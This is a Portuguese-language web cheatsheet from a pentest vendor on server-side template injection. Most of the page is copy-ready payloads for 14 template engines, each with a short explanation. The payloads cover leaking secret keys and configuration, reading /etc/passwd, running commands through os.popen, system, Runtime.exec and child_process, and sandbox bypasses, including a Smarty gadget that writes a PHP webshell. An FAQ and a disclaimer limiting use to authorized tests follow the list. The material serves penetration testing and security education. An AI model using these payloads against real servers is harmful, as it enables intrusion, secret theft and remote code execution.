// ferramenta · injection
Cheatsheet de SSTI
Server-Side Template Injection acontece quando uma entrada do usuário é avaliada como template no servidor — virando leitura de arquivos ou execução de comandos. Escolha a engine, filtre por objetivo e copie o payload.
Roda 100% no seu navegador · nada é enviado
- Jinja2 Python Detecção
{{7*7}}Por que funciona: Tudo dentro de
{{ }}é avaliado como expressão Python. Se a resposta mostrar49, o template está avaliando a sua entrada. - Jinja2 Python Detecção
{{7*'7'}}Por que funciona: Inteiro × string repete a string (
7777777). Confirma Jinja2/Python e distingue de Twig, que retornaria49. - Jinja2 Python Info & contexto
{{ config.items() }}Por que funciona: No Flask,
configestá no contexto e expõe a configuração inteira — incluindoSECRET_KEY, que permite forjar sessões. - Jinja2 Python RCE
{{ cycler.__init__.__globals__.os.popen('id').read() }}Por que funciona:
cycleré um global do Jinja2; por__init__.__globals__chega-se ao móduloose executa-se um comando. - Jinja2 Python RCE
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}Por que funciona: Caminho clássico no Flask: de
requestaté__builtins__.__import__para importarose rodar comandos. - Jinja2 Python RCE
{{ ''.__class__.__mro__[1].__subclasses__() }}Por que funciona: Lista todas as subclasses de
object. Localizesubprocess.Popen(ou um wrapper de arquivo) e chame-o pelo índice para RCE ou leitura de arquivos. - Jinja2 Python Bypass de sandbox
{{ ''|attr('__class__') }}Por que funciona: Quando o ponto (
.) é filtrado, o filtroattr()acessa atributos por string, contornando o bloqueio. - Jinja2 Python Bypass de sandbox
{{ request['application']['__globals__'] }}Por que funciona: Acesso por colchetes
['...']evita o ponto e listas de palavras bloqueadas como__globals__. - Tornado Python Detecção
{{7*7}}Por que funciona: Tornado também usa
{{ }}para expressões.49confirma a avaliação no servidor. - Tornado Python RCE
{% import os %}{{ os.popen('id').read() }}Por que funciona: Tornado permite
{% import %}; importeose execute comandos diretamente. - Mako Python Detecção
${7*7}Por que funciona: Mako avalia expressões em
${ ... }.49confirma a engine. - Mako Python RCE
<%import os%>${os.popen('id').read()}Por que funciona: Mako aceita blocos
<% %>de Python puro; importeose rode comandos. - Mako Python RCE
${self.module.cache.util.os.system('id')}Por que funciona: A cadeia de atributos do Mako chega a
os.systemsem precisar de bloco de código. - Mako Python Leitura de arquivo
${open('/etc/passwd').read()}Por que funciona:
openestá acessível no escopo do Mako; lê arquivos arbitrários do servidor. - Django Python Detecção
{{7|add:7}}Por que funciona: Django não avalia expressões livres; aritmética só via filtros como
add.14sugere Django (sandboxed). - Django Python Info & contexto
{% debug %}Por que funciona: A tag
{% debug %}despeja variáveis e o contexto disponível — vazamento de informação útil para escalar. - Django Python Info & contexto
{{ settings.SECRET_KEY }}Por que funciona: Se
settingsestiver no contexto, expõe segredos. Em Django, SSTI costuma ser info disclosure, não RCE direta. - Twig PHP Detecção
{{7*7}}Por que funciona: Twig avalia
{{ }}.49confirma a engine. - Twig PHP Detecção
{{7*'7'}}Por que funciona: Em Twig,
7*'7'resulta49(não7777777) — distingue de Jinja2. - Twig PHP Info & contexto
{{ _self }}Por que funciona:
_selfreferencia o template atual; ponto de partida para alcançar o ambiente (_self.env) do Twig. - Twig PHP RCE
{{ ['id']|filter('system') }}Por que funciona: O filtro
filteraplicasystema cada item do array, executando o comando. - Twig PHP RCE
{{ ['id', 0]|sort('system') }}Por que funciona:
sortusasystemcomo função de comparação, disparando o comando — alternativa quandofilteré bloqueado. - Twig PHP RCE
{{ ['id']|map('system')|join }}Por que funciona:
mapaplicasystemao array ejoinmaterializa a saída — mais um caminho de RCE. - Twig PHP Bypass de sandbox
{{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }}Por que funciona: Em Twig 1.x, registra
systemcomo callback de filtro indefinido e o dispara com o comando como nome de filtro. - Smarty PHP Detecção
{$smarty.version}Por que funciona: Exibe a versão do Smarty — confirma a engine e orienta o vetor de exploração.
- Smarty PHP Detecção
{math equation="7*7"}Por que funciona: A tag
{math}avalia a expressão;49confirma Smarty. - Smarty PHP RCE
{php}system('id');{/php}Por que funciona: A tag
{php}executa PHP puro (Smarty < 3.1, ou quando reabilitada). - Smarty PHP RCE
{system('id')}Por que funciona: Quando funções PHP estão liberadas na política de segurança, podem ser chamadas direto como tag.
- Smarty PHP Bypass de sandbox
{Smarty_Internal_Write_File::writeFile("./shell.php","<?php system($_GET['c']); ?>",self::clearConfig())}Por que funciona: Gadget conhecido: o método estático
writeFiledo Smarty grava um webshell no disco.self::clearConfig()fornece a referência da instância Smarty exigida pelo 3º argumento. Removido no Smarty 3.1.30+. - Freemarker Java Detecção
${7*7}Por que funciona: Freemarker avalia
${ ... }.49confirma a engine. - Freemarker Java RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}Por que funciona: Instancia a classe utilitária
Executedo Freemarker via?new()e roda o comando. - Freemarker Java RCE
${"freemarker.template.utility.Execute"?new()("id")}Por que funciona: Forma compacta: cria
Executee o invoca na mesma expressão. - Freemarker Java Bypass de sandbox
<#assign v="freemarker.template.utility.ObjectConstructor"?new()>${v("java.lang.ProcessBuilder","id").start()}Por que funciona: Quando
Executeé bloqueado,ObjectConstructorcria umProcessBuilderarbitrário para executar comandos. - Velocity Java Detecção
#set($x=7*7)$xPor que funciona: Velocity define variáveis com
#set; imprimir49confirma a engine. - Velocity Java RCE
#set($e="e") #set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null)) $run.exec("id")Por que funciona: Via reflexão a partir de uma string, alcança
java.lang.Runtimee executa comandos do SO. - Velocity Java RCE
#set($run=$class.inspect("java.lang.Runtime").type.getRuntime()) $run.exec("id")Por que funciona: Quando a ferramenta
$classestá exposta no contexto, obtémRuntimedireto e executa comandos. - Thymeleaf Java Detecção
[[${7*7}]]Por que funciona: Em contexto de expressão Thymeleaf/Spring EL,
[[...]]avalia inline;49confirma. - Thymeleaf Java RCE
${T(java.lang.Runtime).getRuntime().exec('id')}Por que funciona: Spring EL:
T(...)referencia uma classe estática;Runtime.execexecuta o comando. - Thymeleaf Java RCE
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.xPor que funciona: O pré-processamento
__...__de nomes de fragmento/expressão avalia a expressão — o SSTI clássico do Thymeleaf via view name. - Pug Node.js Detecção
#{7*7}Por que funciona: Pug interpola
#{ ... }como JavaScript;49confirma a avaliação no servidor. - Pug Node.js RCE
#{global.process.mainModule.require('child_process').execSync('id')}Por que funciona: De
global.processchega-se arequire('child_process')e executa comandos no Node. - Pug Node.js RCE
= global.process.mainModule.require('child_process').execSync('id')Por que funciona: Uma linha de código Pug (
= expr) executa JavaScript arbitrário no servidor. - EJS Node.js Detecção
<%= 7*7 %>Por que funciona: EJS avalia
<%= ... %>como JavaScript;49confirma a engine. - EJS Node.js RCE
<%= global.process.mainModule.require('child_process').execSync('id') %>Por que funciona: A expressão JS no EJS executa comandos via
child_process. - EJS Node.js Bypass de sandbox
?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('id');sPor que funciona: CVE-2022-29078: poluição das opções do EJS injeta código pelo nome da função de saída — RCE sem
<% %>na entrada. - Handlebars Node.js RCE
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').execSync('id');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}Por que funciona: Handlebars é logic-less, mas o gadget com
#with/lookup/constructorreconstrói uma função e alcançarequirepara executar comandos (depende da versão). - ERB Ruby Detecção
<%= 7*7 %>Por que funciona: ERB avalia
<%= ... %>como Ruby;49confirma a engine. - ERB Ruby RCE
<%= system('id') %>Por que funciona:
systemexecuta um comando do sistema operacional em Ruby. - ERB Ruby RCE
<%= `id` %>Por que funciona: A crase em Ruby executa o comando e retorna a saída — útil para exfiltrar o resultado.
- ERB Ruby Leitura de arquivo
<%= File.read('/etc/passwd') %>Por que funciona:
File.readlê arquivos arbitrários do servidor. - Go Go Detecção
{{ . }}Por que funciona: Templates Go imprimem o contexto com
{{ . }}. Se renderizar a struct/dado injetado, há avaliação de template. - Go Go Info & contexto
{{ .Password }}Por que funciona: Acessa campos da struct passada ao template, vazando dados sensíveis do contexto.
- Go Go Info & contexto
{{ printf "%+v" . }}Por que funciona:
printf "%+v"despeja o objeto inteiro do contexto. Em Go, SSTI raramente vira RCE (sem FuncMap perigoso) — foca em info disclosure.
Nenhum payload encontrado com esses filtros.
Para uso em testes autorizados, pesquisa e educação. Não teste alvos sem permissão explícita.
// referência
O que é Server-Side Template Injection
Server-Side Template Injection (SSTI) acontece quando a entrada do usuário é concatenada no template renderizado no servidor, em vez de passada como dado. O motor de template avalia essa entrada como expressão — e o que deveria ser texto vira código executado no servidor.
O impacto vai de vazamento de informação e leitura de arquivos até execução remota de código (RCE), dependendo da engine e do sandbox. O fluxo de exploração é quase sempre o mesmo: detectar a injeção, identificar a engine e então escalar para leitura de arquivo ou comando.
Engines cobertas
A cheatsheet traz payloads para 14 engines de template, agrupadas por linguagem. A sintaxe de detecção e os gadgets de RCE mudam de uma engine para outra:
- Python: Jinja2, Tornado, Mako, Django
- PHP: Twig, Smarty
- Java: Freemarker, Velocity, Thymeleaf
- Node.js: Pug, EJS, Handlebars
- Ruby: ERB
- Go: Go
Detecção → leitura de arquivo → RCE
Detecção
Injete uma expressão aritmética ({{7*7}}, ${7*7}, <%= 7*7 %>) e veja se a resposta avalia para 49. Polyglots como ${{7*7}} ajudam a disparar em várias engines de uma vez.
Info & contexto
Confirmada a injeção, leia variáveis de ambiente, objetos de configuração e a estrutura interna do template para mapear o que está acessível dentro do sandbox.
Leitura de arquivo
Muitas engines expõem objetos que abrem arquivos do servidor (por exemplo open no Mako), levando à leitura de /etc/passwd, código-fonte e segredos.
RCE
O objetivo final é executar comando no servidor, alcançando o runtime da linguagem (subprocessos, os.system, Runtime.exec) a partir do contexto do template.
Bypass de sandbox
Quando a engine restringe atributos ou builtins, encadeie referências (__class__, __mro__, request) para reconstruir o acesso bloqueado e voltar ao RCE.
Perguntas frequentes
O que é Server-Side Template Injection (SSTI)?
É quando a entrada do usuário é concatenada no template renderizado no servidor, em vez de passada como dado. O motor avalia a entrada como código de template — o que pode virar leitura de arquivos ou execução remota de código (RCE).
{{7*7}} retornou 49 — qual engine é?
{{7*7}} = 49 indica uma engine de sintaxe Jinja2/Twig. Para desambiguar, teste {{7*'7'}}: Jinja2 retorna 7777777 e Twig retorna 49. A cheatsheet traz polyglots de detecção por engine.
SSTI é sempre RCE?
Não. Dependendo da engine e do sandbox, o impacto vai de vazamento de informação e leitura de arquivos até RCE completo. Algumas engines exigem bypass de sandbox para chegar a comando.
Qual a diferença entre SSTI e XSS?
Ambas são injeções, mas o XSS executa no navegador da vítima (cliente) e a SSTI executa no servidor que renderiza o template — por isso a SSTI costuma ser bem mais grave.
Achou SSTI numa aplicação sua?
A IntruderLabs executa o pentest que encontra e prova essas falhas antes de um atacante — sob a sua marca, com relatório white-label.
Fale com a gente →